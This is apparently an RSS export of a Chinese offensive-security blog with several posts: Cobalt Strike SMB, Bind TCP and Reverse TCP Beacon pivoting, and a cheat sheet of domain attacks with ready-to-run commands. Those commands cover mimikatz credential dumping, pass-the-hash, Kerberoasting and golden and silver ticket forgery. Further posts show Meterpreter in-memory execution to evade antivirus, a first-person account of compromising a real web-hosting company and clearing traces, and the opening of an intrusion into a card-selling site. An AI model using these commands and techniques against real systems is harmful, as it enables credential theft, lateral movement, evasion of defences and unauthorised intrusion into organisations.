<p>这种上线方式走的是 SMB 协议, 正向连接, 目标机器必须开启 445 端口, 同时利用命名管道来执行命令, 对于那些在内网中无法出网的机器就特别好用. 但是并不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线.</p>
<p><img src="/wp-content/uploads/2019/08/20190811110335-2.png" alt="" /></p>
<p>不难看出, 这是在已有 Beacon (父 Beacon) 中使用 SMB 进行连接的, 在实际测试中可能会在多个 Beacon 上分别连接对应的 SMB Beacon, 所以溯源就比较困难, 在一定程度上可以达到规避防火墙的效果.</p>
<p>下面新建 SMB Beacon Listener, 其中的 Host 和 Port 并没有什么用.</p>
<p><img src="/wp-content/uploads/2019/08/20190811111009-2.png" alt="" /></p>
<p>在已有 Beacon 中通过 PsExec 上线.</p>
<p><img src="/wp-content/uploads/2019/08/20190811111216-2.png" alt="" /></p>
<p>上线成功.</p>
<p><img src="/wp-content/uploads/2019/08/20190811111446-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811111800-2.png" alt="" /></p>
<p>拓补图中橙色的箭头代表着是通过 SMB 方式连接的, 而箭头的方向表明这是一个正向连接, 另外在 external 后会有 <code>∞∞</code> 的图标, 显示了与目标 Beacon 的连接状态.</p>
<p>因为 SMB 走的是 TCP 连接, 就不存在什么异步执行, 所以 last 就可以无视掉了, 数值也只是距离上一次操作经过的时间.</p>
<p><img src="/wp-content/uploads/2019/08/20190811112126-2.png" alt="" /></p>
<p>对于 SMB Beacon 有两个命令, link 和 unlink.</p>
<p>unlink 可以暂时断开和目标 Beacon 的连接, 但不会退出进程, 而 link 就又会重新连接回去, 两者都需要在发起连接的 Beacon 上执行.</p>
<p>unlink.</p>
<p><img src="/wp-content/uploads/2019/08/20190811112438-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811112503-2.png" alt="" /></p>
<p>图标会从 <code>∞∞</code> 变为 <code>∞ ∞</code>, 箭头上显示 DISCONNECTED, 颜色变为红色, 但进程仍在运行.</p>
<p><img src="/wp-content/uploads/2019/08/20190811112807-2.png" alt="" /></p>
<p>我们在另外一台主机上 link.</p>
<p>这台 DC2 没有加入域, 需要手动创建 Token 来通过 SMB 认证.</p>
<pre><code class="">make_toekn DC2administrator admin7!@#
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190811113620-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811113651-2.png" alt="" /></p>
<p>拓补图中箭头的位置改变了.</p>
<p>也就是说我们可以在任意已有 Beacon 上 link 目标 Beacon, 通过这个父 Beacon 去与目标 Beacon 通讯, 避免了不出网的尴尬. 但同一时间同一 Beacon 只能被 link 一次, 切换父 Beacon 的时候需要在原 Beacon 上先执行一次 unlink 操作, 还得注意凭据能否认证成功.</p>
<h2>Bind TCP Beacon</h2>
<p>Bind TCP Beacon 与 SMB Beacon 差不多, 但它可以直接生成载荷在目标机器上执行.</p>
<p>添加 Bind Tcp Beacon Listener. Host 没有实际用处, Port 写死了是 4444, 更改也没有用, 在目标机器上还是会监听 4444 端口的.</p>
<p><img src="/wp-content/uploads/2019/08/20190811114347-2.png" alt="" /></p>
<p>生成 Stageless Payload.</p>
<p>这里说一下 Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行, 而 Stageless 直接省去了接收 Payload 的步骤. 所以 Stageless 的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征容易被杀软拦截.</p>
<p>不过这里的 Bind TCP Beacon 是正向连接, 而且仅与父 Beacon 通信, 所以就只能使用 Stageless 类型的了.</p>
<p><img src="/wp-content/uploads/2019/08/20190811114755-2.png" alt="" /></p>
<p>执行后要手动去连接, 而 PsExec 方式会直接通过之前选择的 Beacon 上线.</p>
<p>与 SMB Beacon 不同, Bind TCP Beacon 对应的是 connect 和 unlink.</p>
<p><img src="/wp-content/uploads/2019/08/20190811115504-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811115612-2.png" alt="" /></p>
<p>拓补图中的箭头变成绿色的了, 这表明我们是通过 Bind TCP Beacon 连接的.</p>
<p>其余操作与 SMB Beacon 完全相同, 这里就不说了.</p>
<p>但如果在同时 link 和 connect 同一 Beacon 的机器上上执行 unlink, 两者就都会被退掉.</p>
<p><img src="/wp-content/uploads/2019/08/20190811115931-2.png" alt="" /></p>
<h2>Reverse TCP Beacon</h2>
<p>反向连接已有 Beacon 上线, 但这个并不能直接在 Listeners 中添加, 需要右键已有 Beacon &#8211; Pivoting &#8211; Listener 添加.</p>
<p><img src="/wp-content/uploads/2019/08/20190811120511-2.png" alt="" /></p>
<p>指定反向连接的 Listen Host 和 Listen Port. 一般默认即可, 除非机器有多个网卡. 这里意为将该机器作为跳板机, 让上线 Beacon 去连接这台机器, 然后与 C2 通信. 因而内网中每台机器都可以创建一个 Reverse TCP Beacon Listener, 所以溯源时也会有难度.</p>
<p>Reverse TCP Beacon 只能通过 Stageless Payload 上线.</p>
<p><img src="/wp-content/uploads/2019/08/20190811120911-2.png" alt="" /></p>
<p>上线成功.</p>
<p><img src="/wp-content/uploads/2019/08/20190811120954-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811121024-2.png" alt="" /></p>
<p>其中拓补图中箭头的方向变了, 这表明我们是通过反向上线的.</p>
<p>需要注意的是, Reverse 方式是没有 link unlink 一说的, unlink 之后就会直接退出进程, 想重新上线就必须要再次执行 Payload.</p>
<p><img src="/wp-content/uploads/2019/08/20190811121147-2.png" alt="" /></p>
<p><img src="/wp-content/uploads/2019/08/20190811121520-2.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>域渗透之IPC MS14068 Pth Ptt Ptk Kerberoating</title>
		<link>/web/686.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 08 Aug 2019 01:14:46 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Kerberos]]></category>
		<category><![CDATA[ms14068]]></category>
		<category><![CDATA[pth]]></category>
		<category><![CDATA[ptk]]></category>
		<category><![CDATA[ptt]]></category>
		<category><![CDATA[域渗透]]></category>
		<guid isPermaLink="false">/?p=686</guid>

					<description><![CDATA[IPC IPC$入侵 建立非空连接 新建批处理 Copy命令上传 查看目标靶机时间 通过at命令在特定时间执行批处理文件 在目标靶机上查看 其他命令 将目标共享建立一个映射g盘 n...]]></description>
										<content:encoded><![CDATA[<h1>IPC</h1>
<h2>IPC$入侵</h2>
<ul>
<li>建立非空连接<br />
<img src="https://ae01.alicdn.com/kf/H7de99dac099e4694966204a93871c634o.jpg" alt="" /></p>
</li>
<li>
<p>新建批处理<br />
<img src="https://ae01.alicdn.com/kf/H6daf7be4713d4b5c9171df8d753fbf6eK.jpg" alt="" /></p>
</li>
<li>
<p>Copy命令上传<br />
<img src="https://ae01.alicdn.com/kf/Heb36bd75a778479584c35b41049f54438.jpg" alt="" /></p>
</li>
<li>
<p>查看目标靶机时间<br />
<img src="https://ae01.alicdn.com/kf/Haec412d7ef12423b9163b8592fd2e8fcS.jpg" alt="" /></p>
</li>
<li>
<p>通过at命令在特定时间执行批处理文件<br />
<img src="https://ae01.alicdn.com/kf/Hc8924d6008ba497ebe4318670297d786v.jpg" alt="" /></p>
</li>
<li>
<p>在目标靶机上查看<br />
<img src="https://ae01.alicdn.com/kf/H8cc8f0e34be1490dada5fe6f28dbe9b0D.jpg" alt="" /></p>
</li>
</ul>
<h2>其他命令</h2>
<ul>
<li>
<p>将目标共享建立一个映射g盘<br />
<code>net use g: \\192.168.3.68\c$</code><br />
<img src="https://ae01.alicdn.com/kf/H8cc8f0e34be1490dada5fe6f28dbe9b0D.jpg" alt="" /></p>
</li>
<li>
<p>查看已建立的会话<br />
<img src="https://ae01.alicdn.com/kf/H01d751f3dd924bffab1af18d1105e807t.jpg" alt="" /></p>
</li>
</ul>
<h3>通过工具进行会话连接执行</h3>
<pre><code class="">psexec.exe  \\192.168.1.108   cmd  -uadministrator   -p  123456
</code></pre>
<pre><code class="">csript.exe  wmiexec.vbs   /shell   192.168.1.108   administrator   123456
</code></pre>
<p><strong>返回一个cmd交互界面执行即可</strong></p>
<h1>MS14068</h1>
<ul>
<li>首先尝试访问域控共享文件夹<br />
<img src="https://ae01.alicdn.com/kf/HTB1.IzPdL5G3KVjSZPxq6zI3XXax.jpg" alt="" /><br />
<strong>拒绝访问</strong></p>
</li>
<li>
<p>使用ms16048</p>
</li>
</ul>
<p><code>-u 域账号+@+域名称</code><br />
<code>-p 为当前用户的密码，即 ts1 的密码</code><br />
<code>-s 为 ts1 的 SID 值，可以通过 whoami /all 来获取用户的 SID 值 -d 为当前域的域控</code></p>
<ul>
<li>生成ccache文件<br />
<img src="https://ae01.alicdn.com/kf/HTB13G2TdLWG3KVjSZFPq6xaiXXa9.jpg" alt="" /></p>
</li>
<li>
<p>删除当前缓存的kerboeos票据<br />
<code>kerberos::purge</code><br />
<img src="https://ae01.alicdn.com/kf/HTB1d2L1dRGw3KVjSZFDq6xWEpXaL.jpg" alt="" /></p>
</li>
<li>
<p>导入ccache文件<br />
<code>kerberos::ptc</code><br />
<img src="https://ae01.alicdn.com/kf/HTB1lGYVdL1G3KVjSZFkq6yK4XXap.jpg" alt="" /></p>
</li>
<li>
<p>再次访问域控共享文件<br />
<img src="https://ae01.alicdn.com/kf/HTB19EDHcAxz61VjSZFtq6yDSVXaD.jpg" alt="" /></p>
</li>
</ul>
<h1>Kerberoating</h1>
<h2>早期kerberoating</h2>
<blockquote>
<p>工具 Kerberoast工具包 Mimikatz
</p></blockquote>
<ul>
<li>使用Kerberoast工具包GetUserPNs.ps1进行SPN扫描</li>
</ul>
<p><img src="https://ae01.alicdn.com/kf/HTB1wyjxdMmH3KVjSZKzq6z2OXXaM.jpg" alt="" /></p>
<ul>
<li>根据微软提供的类<span class="wpcom_tag_link"><a href="/tags/kerberos" title="Kerberos" target="_blank">Kerberos</a></span>RequeststorSecurityToken发起Kerberos请求申请票据<br />
<code>Add-Type -AssemblyName System.IdentityModel</code><br />
<code>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SRC_DB_ODAY.org:1433"</code><br />
<img src="https://ae01.alicdn.com/kf/HTB1n46CdQWE3KVjSZSyq6xocXXa0.jpg" alt="" /></p>
</li>
<li>
<p>通过klist命令查看当前会话存储的Kerberos票据<br />
<code>klist</code><br />
<img src="https://ae01.alicdn.com/kf/HTB1NyzJdHus3KVjSZKbq6xqkFXaG.jpg" alt="" /></p>
</li>
<li>
<p>使用mimikatz导出<br />
<code>kerberos::list /export</code><br />
<img src="https://ae01.alicdn.com/kf/HTB1FB3Na2Bj_uVjSZFpq6A0SXXaf.jpg" alt="" /></p>
</li>
<li>
<p>使用kerberoast 工具集中的 tgsrepcrack.py 工具进行离线爆破<br />
<code>python tgsrepcrack.py list1.txt 2-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi</code><br />
<img src="https://ae01.alicdn.com/kf/HTB16NnDdUWF3KVjSZPhq6xclXXaU.jpg" alt="" /></p>
</li>
</ul>
<h2>kerberoating新姿势</h2>
<blockquote>
<p>工具 Invoke-Kerberoast.ps1 HashCat
</p></blockquote>
<ul>
<li>转为Hashcat格式<br />
<code>Invoke-kerberoast –outputformat hashcat | fl</code><br />
<img src="https://ae01.alicdn.com/kf/HTB13mzYdUGF3KVjSZFoq6zmpFXaB.jpg" alt="" /></li>
<li>保存<br />
<code>nvoke-Kerberoast -Outputformat Hashcat | fl &gt; test1.txt</code></p>
</li>
<li>
<p>Hashcat爆破<br />
<code>hashcat64.exe –m 13100 test1.txt password.list --force</code><img src="https://ae01.alicdn.com/kf/HTB19sMbdG5s3KVjSZFNq6AD3FXa9.jpg" alt="" /></p>
</li>
</ul>
<h1>Pth</h1>
<h2>Pass the hash</h2>
<ul>
<li>使用mimikatz先获取hash</li>
</ul>
<pre><code class="">privilege::debug
</code></pre>
<pre><code class="">sekurlsa::logonpasswords
</code></pre>
<p><img src="https://ae01.alicdn.com/kf/H5b1de26684c14fac9a0301ee533e168d3.jpg" alt="" /></p>
<ul>
<li>攻击机执行</li>
</ul>
<pre><code class="">mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:SRV-DB-0DAY /ntlm:ac307fdeab3e8307c3892c163a7808d5"
</code></pre>
<p><img src="https://pic1.superbed.cn/item/5d4b9eb3451253d178f061a6.jpg" alt="" /></p>
<ul>
<li>验证<span class="wpcom_tag_link"><a href="/tags/pth" title="pth" target="_blank">pth</a></span></li>
</ul>
<p><img src="https://pic3.superbed.cn/item/5d4b9f15451253d178f07075.jpg" alt="" /></p>
<h2>wmiexec</h2>
<ul>
<li>Invoke-SMBExec</li>
</ul>
<pre><code class="">https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
</code></pre>
<ul>
<li>Invoke-SMBExec</li>
</ul>
<pre><code class="">Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose
</code></pre>
<p><strong>如果只有SMB文件共享的权限，没有远程执行权限，可以使用该脚本</strong></p>
<ul>
<li>wmiexec.py</li>
</ul>
<pre><code class="">https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

https://github.com/maaaaz/impacket-examples-windows
</code></pre>
<pre><code class="">wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"
</code></pre>
<p><strong>普通用户可用</strong></p>
<h2>CrackMapExec</h2>
<pre><code class="">https://github.com/byt3bl33d3r/CrackMapExec.git
</code></pre>
<pre><code class="">crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
</code></pre>
<h1>Ptk</h1>
<blockquote><p>
  <strong>对于8.1/2012r2，安装补丁kb2871997的Win 7/2008r2/8/2012，可以使用AES keys代替NT hash</strong>
</p></blockquote>
<ul>
<li>获取用户的aes key</li>
</ul>
<pre><code class="">mimikatz "privilege::debug" "sekurlsa::ekeys"
</code></pre>
<p><img src="https://pic3.superbed.cn/item/5d4ba498451253d178f12f17.jpg" alt="" /></p>
<ul>
<li>注入aes key</li>
</ul>
<pre><code class="">mimikatz "privilege::debug" "sekurlsa::pth /user:sqlsvr /domain:0DAY.ORG /aes256:bf2cab4e27a426c9ec9d21c919f119843415ee5d98587063d6e48d16633c5436" 
</code></pre>
<p><img src="https://pic.superbed.cn/item/5d4ba588451253d178f15100.jpg" alt="" /></p>
<h1>Ptt</h1>
<h2>Golden ticket(黄金票据)</h2>
<blockquote><p>
  前提：<br />
  域名称<br />
  域SID<br />
  krbtgt账户密码<br />
  伪造用户名
</p></blockquote>
<ul>
<li>dump krbtgt hash</li>
</ul>
<pre><code class="">privilege::debug
lsadump::lsa /patch
</code></pre>
<p><img src="https://pic.superbed.cn/item/5d4bad1c451253d178f25b74.jpg" alt="" /></p>
<ul>
<li>生成ticket</li>
</ul>
<pre><code class="">kerberos::golden  /admin:administrator  /domain:0day.org /sid: S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2  /ticket:test.kiribi
</code></pre>
<p><img src="https://pic3.superbed.cn/item/5d4bba48451253d178f43e9a.jpg" alt="" /></p>
<ul>
<li>注入凭据</li>
</ul>
<pre><code class="">kerberos::ptt test.kirbi
</code></pre>
<p><img src="https://pic.superbed.cn/item/5d4bc27c451253d178f576dc.jpg" alt="" /><br />
&#8211; 验证Golden ticket</p>
<p><img src="https://pic.superbed.cn/item/5d4bc45b451253d178f5ba55.jpg" alt="" /></p>
<h2>golden ticket（白银票据）</h2>
<blockquote><p>
  前提：<br />
  域名称<br />
  域SID<br />
  域的服务账户的密码hash<br />
  伪造用户名
</p></blockquote>
<ul>
<li>dump server hash</li>
</ul>
<pre><code class="">privilege::debug
sekurlsa::logonpasswords
</code></pre>
<p><img src="https://pic3.superbed.cn/item/5d4bc7b5451253d178f63419.jpg" alt="" /></p>
<ul>
<li>导入凭证</li>
</ul>
<pre><code class="">kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:192.168.3.142 /rc4:74cca677f85c7c566352fd846eb0d82a  /service:cifs /user:syst1m /ptt
</code></pre>
<ul>
<li>验证</li>
</ul>
<p><img src="https://pic.superbed.cn/item/5d4bd4a9451253d178f7fe27.jpg" alt="" /></p>
<h1>Tips</h1>
<pre><code class="">mimikatz复制粘贴困难，可使用如&gt;&gt;log.txt
</code></pre>
<pre><code class="">exploit/windows/smb/psexec 使用hash传递
</code></pre>
<pre><code class="">post/windows/gather/smart_hashdump 读取hash
</code></pre>
<pre><code class="">.domain_list_gen 获取域管理账户列表
</code></pre>
<pre><code class="">auxiliary/gather/kerberos_enumusers 用户名枚举
</code></pre>
<pre><code class="">auxiliary/admin/kerberos/ms14_068_kerberos_checksum 14068
</code></pre>
<pre><code class="">load kiwi
kerberos_ticket_use /tmp/0-00000000-juan@krbtgt-DEMO.LOCAL.kirbi kiwi扩展来导入TGT票证
参考：https://blog.rapid7.com/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit/
</code></pre>
<ul>
<li>Mimikatz</li>
</ul>
<pre><code class="">load mimikatz 加载
mimikatz_command -f version  版本
mimikatz_command -f fu 获取可用模块列表
msv 检索msv凭证
wdigest 读取密码
kerberos 尝试检索kerberos凭据
</code></pre>
<p>看到了再加～</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>msf execute from memory bypass waf</title>
		<link>/web/678.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:36:37 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[免杀]]></category>
		<guid isPermaLink="false">/?p=678</guid>

					<description><![CDATA[@X1r0z的鬼点子 https://exp10it.cn/msf-execute-from-memory.html 具体原理和进程注入类似, 先创建一个正常的进程, 然后把这个进...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  @X1r0z的鬼点子 https://exp10it.cn/<span class="wpcom_tag_link"><a href="/tags/msf" title="msf" target="_blank">msf</a></span>-execute-from-memory.html
</p></blockquote>
<p>具体原理和进程注入类似, 先创建一个正常的进程, 然后把这个进程里的内存空间覆盖成我们想要执行的程序.</p>
<p>Meterpreter 方式.</p>
<pre><code class="language-bash ">execute -H -m -d notepad.exe -f mimikatz.exe -i
-H 隐藏窗口.
</code></pre>
<p>-m 在内存中执行.</p>
<p>-d 指定覆盖进程 (dummy).</p>
<p>-f 指定执行程序 (本地文件).</p>
<p>-i 与该程序交互 (可选).</p>
<p>-a 传递参数 (可选).</p>
<p><strong>在实际测试中能够绕过 360 的检测, 当然前提是你反弹会话的 payload 是<span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span>的.</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>看我如何拿下某建站公司</title>
		<link>/web/654.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:20:50 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cs]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[实战]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[渗透]]></category>
		<guid isPermaLink="false">/?p=654</guid>

					<description><![CDATA[文章首发于T00LS,未经允许禁止转载 前言 记录某建站公司沦陷的过程。内容简单较为简单，欢迎各位表哥交流指导。 getshell 目标是某建站公司，大致看了一下伪静态，没什么直接...]]></description>
										<content:encoded><![CDATA[<blockquote>
<p class="md-end-block md-p md-focus"><span class="md-plain md-expand">文章首发于</span><span class=" md-link"><a spellcheck="false" href="https://www.t00ls.net/articles-50574.html" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">T00LS</span></a></span><span class="md-plain md-expand">,未经允许禁止转载</span></p>
</blockquote>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain">前言</span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">记录某建站公司沦陷的过程。内容简单较为简单，欢迎各位表哥交流指导。</span></p>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain"><a class="tag_link" title="浏览关于“getshell”的文章" href="/tags/getshell" target="_blank" rel="noopener noreferrer">getshell</a></span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">目标是某建站公司，大致看了一下伪静态，没什么直接撸的欲望，一边扫着端口的同时，一边测了几个案例网站。 </span><span class="md-plain">好在没让我失望，注入一枚</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49af438ca7.png"><img src="https://i.loli.net/2019/04/03/5ca49af438ca7.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">这个时候端口也扫完了，有两个端口引起了我的注意，999和6588。分别是phpmyadmin和护卫神。</span> <span class="md-plain">尝试了一下弱口令都无果，整理了一下收集到的信息，以及可利用的点。</span> <span class="md-plain">案例站大部分与建站公司的网站在同一个服务器上，服务器为 iis7.5,windows2008（存在解析漏洞）</span> <span class="md-plain">此时有几种方式<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span>： </span><span class="md-plain">1.直接注入into outfile</span> <span class="md-plain">2.前台随便找一个上传点传一个包含一句话的图片</span> <span class="md-plain">3.注入案例站读取管理员密码后台上传</span> <span class="md-plain">4.挖其他漏洞如：远程文件包含等可直接getshell漏洞</span> <span class="md-plain">第一二条都失败了，案例站的数据库用户没有读写权限，前台无上传点，由于第四条相对于来说需要另外的时间去挖并且远程包含这种基本没戏，所以最终只能后台getshell了。</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49ae16235c.png"><img src="https://i.loli.net/2019/04/03/5ca49ae16235c.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">执行命令发现无法执行，应该是权限不够？</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b2ac4594.png"><img src="https://i.loli.net/2019/04/03/5ca49b2ac4594.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">上传了aspx大马，访问500，心态炸裂。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b3e3e988.png"><img src="https://i.loli.net/2019/04/03/5ca49b3e3e988.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain"><a class="tag_link" title="浏览关于“提权”的文章" href="/tags/%e6%8f%90%e6%9d%83" target="_blank" rel="noopener noreferrer">提权</a>思路：</span> <span class="md-plain">1.phpmyadmin直接udf<span class="wpcom_tag_link"><a href="/tags/%e6%8f%90%e6%9d%83" title="提权" target="_blank">提权</a></span>（无权限读写）</span> <span class="md-plain">2.登录护卫神，和流光表哥@赢时胜流光同样的方法 </span><span class="md-plain">3.搞一个可以解析aspx，权限高一点的网站？等 </span><span class="md-plain">最后利用2，3结合搞定。</span></p>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain">登录护卫神后台+提权</span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">护卫神的漏洞利用条件是可以上传可执行脚本，来读取本地登录护卫神的cookie。shell已经拿到了，直接上传脚本读取cookie。</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b5c6e48d.png"><img src="https://i.loli.net/2019/04/03/5ca49b5c6e48d.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">f12 document.cookie 刷新:</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b7f16533.png"><img src="https://i.loli.net/2019/04/03/5ca49b7f16533.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49b85468da.png"><img src="https://i.loli.net/2019/04/03/5ca49b85468da.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">这个护卫神是3.7版本的，没有找到上传点，但是不慌，有ftp账号密码，并且找到了支持asp,aspx的网站，直接上大马。</span><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49bd9de608.png"><img src="https://i.loli.net/2019/04/03/5ca49bd9de608.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span><span class="md-plain">可以执行命令，补丁打了倒是不少，查了一下可以利用的exp，用论坛里的几个免杀的烂土豆exp都失败了，webshell版的也报错。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49bec85116.png"><img src="https://i.loli.net/2019/04/03/5ca49bec85116.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">最后弹到<a class="tag_link" title="浏览关于“cs”的文章" href="/tags/cs" target="_blank" rel="noopener noreferrer">cs</a>上，随手试了一下<span class="wpcom_tag_link"><a href="/tags/cs" title="cs" target="_blank">cs</a></span>自带的提权exp ，ms14那个，尼玛成了。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49c130660f.png"><img src="https://i.loli.net/2019/04/03/5ca49c130660f.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">tasklist /svc查看一下远程端口，由于是外网，直接登录。</span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://i.loli.net/2019/04/03/5ca49c3850489.png"><img src="https://i.loli.net/2019/04/03/5ca49c3850489.png" alt="看我如何拿下某建站公司-ChaBug安全" /></span></p>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">读了管理员的密码，清理痕迹溜了。（密码是随机的十二位大小写加特殊字符，这谁顶得住啊） </span></p>
<h2 class="md-end-block md-heading" contenteditable="true"><span class="md-plain">总结</span></h2>
<p class="md-end-block md-p" contenteditable="true"><span class="md-plain">水文，每次搞完回头再看的时候都觉得没什么技术含量，的确也是没有什么骚操作，总结一下这次<a class="tag_link" title="浏览关于“渗透”的文章" href="/tags/%e6%b8%97%e9%80%8f" target="_blank" rel="noopener noreferrer">渗透</a>，只有这个读取cookie的php脚本，我学到了，嘻嘻嘻，溜溜球~</span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>记一次由百度云会员引起的审计及渗透</title>
		<link>/web/653.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:19:44 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[实战]]></category>
		<guid isPermaLink="false">/?p=653</guid>

					<description><![CDATA[本文首发于secquan，未经许可禁止转载 百度云盘真的恶心，不开会员10k/s。 前言# 前天找了点域渗透的环境和资料，都是百度云盘存储的，一个镜像十几个g，下不下来，发现网上有...]]></description>
										<content:encoded><![CDATA[<blockquote>
<h1>本文首发于<a href="https://secquan.org/Discuss/1069217" target="_blank" rel="nofollow noopener noreferrer">secquan</a>，未经许可禁止转载</h1>
</blockquote>
<p>百度云盘真的恶心，不开会员10k/s。</p>
<h1 id="前言">前言#</h1>
<p>前天找了点域渗透的环境和资料，都是百度云盘存储的，一个镜像十几个g，下不下来，发现网上有卖百度云VIP账号的，都是一些发卡网，刚好自己最近在学<a class="tag_link" title="浏览关于“代码审计”的文章" href="/tags/%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1" target="_blank" rel="noopener noreferrer">代码审计</a>，就想着下载一套源码自己看看能不能审出漏洞。没想到还真看出来了点东西。</p>
<h1 id="开搞">开搞#</h1>
<p>目标站点<code>xx.com</code>扫出了<code>readme.txt</code>，是<strong>企业版PHP自动发卡源码免授权优化版</strong></p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44f26f1c2d.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>看到这免授权优化版我就知道有戏，很可能存在后门。网上找了一套</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44ae953321.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>目录结构和目标站点一样，应该就是这套了。</p>
<p>本地搭建，然后源<a class="tag_link" title="浏览关于“代码”的文章" href="/tags/%e4%bb%a3%e7%a0%81" target="_blank" rel="noopener noreferrer">代码</a>扔到seay先跑着，我先大概看下架构</p>
<p><code>index.php</code>入口</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44c7c0e494.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>典型的mvc架构</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44d52a842a.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
<p>伪静态重写URL</p>
<div class="post-image"><img src="https://i.loli.net/2019/04/03/5ca44d6f54b2b.png" alt="记一次由百度云会员引起的审计及渗透-ChaBug安全" data-type="image" /></div>
